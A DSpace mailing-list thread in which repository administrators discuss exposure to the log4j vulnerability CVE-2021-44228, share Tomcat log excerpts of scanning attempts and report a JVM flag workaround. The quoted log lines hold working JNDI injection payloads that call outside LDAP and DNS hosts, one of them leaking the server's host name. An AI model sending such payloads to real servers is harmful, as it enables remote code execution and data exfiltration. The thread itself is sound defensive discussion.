DSpace and CVE-2021-44228 (log4j)

[Plate, Michael]

Hi,

you might have recognized it since Friday:

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

This affects millions of sites.

This is "red alert" status by the Federal Office for Information Security of Germany.

We are still running a DSpace 5.10, which uses log4j in version 1.2.17 (and slf4j-log4j12-1.6.1 ?)
On Friday, only version > 2.0.0 <= 2.14.1 were known to be vulnerable, today also 1.x is sort of vulnerable, but not like 2.x .

I have already found a trace in the tomcat log:

GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 403 -

It is a 403, however a 404 would be nicer :) .

It was not found in the dspace.log, however, a helping answer from someone with more in-deep-knowledge of DSpace logging could save my holiday.

DSpace 7 contains log4j 2.13.3.
Solr is already known to be vulnerable, but I cannot make any assumption about that based on how DSpace uses it - maybe a search with a string like {jndi:ldap://…} can trigger that.

CU

Michael

[michae...@stir.ac.uk]

Hi,

> I have already found a trace in the tomcat log:

I can see also see traces of attempts to exploit this vulnerability in the logs of our 2 DSpace instances (v6.2 and v5.2) so would appreciate a steer on whether DSpace is vulnerable to this particular exploit! And, if so, what action we should take to try and mitigate any risk.

Cheers,

Mike

[Istvan Vig]

Hello,

I also found 'jndi tries' within our tomcat logs (Tomcat 9 / Dspace 6.3). 

```

tomcatdir/logs/localhost_access_log..2021-12-11.txt:7033:139.59.163.74 - - [11/Dec/2021:20:29:57 +0100] "GET /$%7Bjndi:ldap:/http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 13183 tomcatdir/logs/localhost_access_log..2021-12-12.txt:705:139.59.163.74 - - [12/Dec/2021:02:12:08 +0100] "GET /$%7Bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 13227 tomcatdir/logs/localhost_access_log..2021-12-12.txt:3154:194.163.163.20 - - [12/Dec/2021:04:54:30 +0100] "GET /?x=${jndi:ldap://${hostName}.c6qgldh5g22l07bu1lvgcg4zrcayxfi9e.interactsh.com/a} HTTP/1.1" 200 29515 tomcatdir/logs/localhost_access_log..2021-12-12.txt:3162:194.163.163.20 - - [12/Dec/2021:04:54:30 +0100] "GET /?x=${jndi:ldap://${hostName}.c6qgldh5g22l07bu1lvgcg4zrcayxfsbo.interactsh.com/a} HTTP/1.1" 200 29539 tomcatdir/logs/localhost_access_log..2021-12-12.txt:8518:51.105.55.17 - - [12/Dec/2021:19:55:46 +0100] "GET /$%7Bjndi:ldap:/45.83.193.150:1389/Exploit%7D HTTP/1.1" 404 13125 tomcatdir/logs/localhost_access_log..2021-12-13.txt:643:45.83.66.82 - - [13/Dec/2021:01:51:48 +0100] "GET /$%7Bjndi:dns:/45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 13135 tomcatdir/logs/localhost_access_log..2021-12-13.txt:905:45.83.64.140 - - [13/Dec/2021:02:43:30 +0100] "GET /$%7Bjndi:dns:/45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 13135

```

As per this article: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-to-identify-vulnerable-remote-servers I did not find the installed log4j JAR vulnerable. The version is 1.2.17. Several guys are writing that versions below 2.x are not vulnerable regarding this bug. But honestly, I am not secure about this.

We have also a server for DS7.1 tests and I found it open for this log4j hole. As per the article method I saw the log lines in the canarytoken site after I issued the curl oneliner. When I added the Java option `-Dlog4j2.formatMsgNoLookups=true` to the Tomcat starter script then the door has been closed for this vuln. So it seems it can be good as a workaround until we are officially enabled to update the log4j2 lib.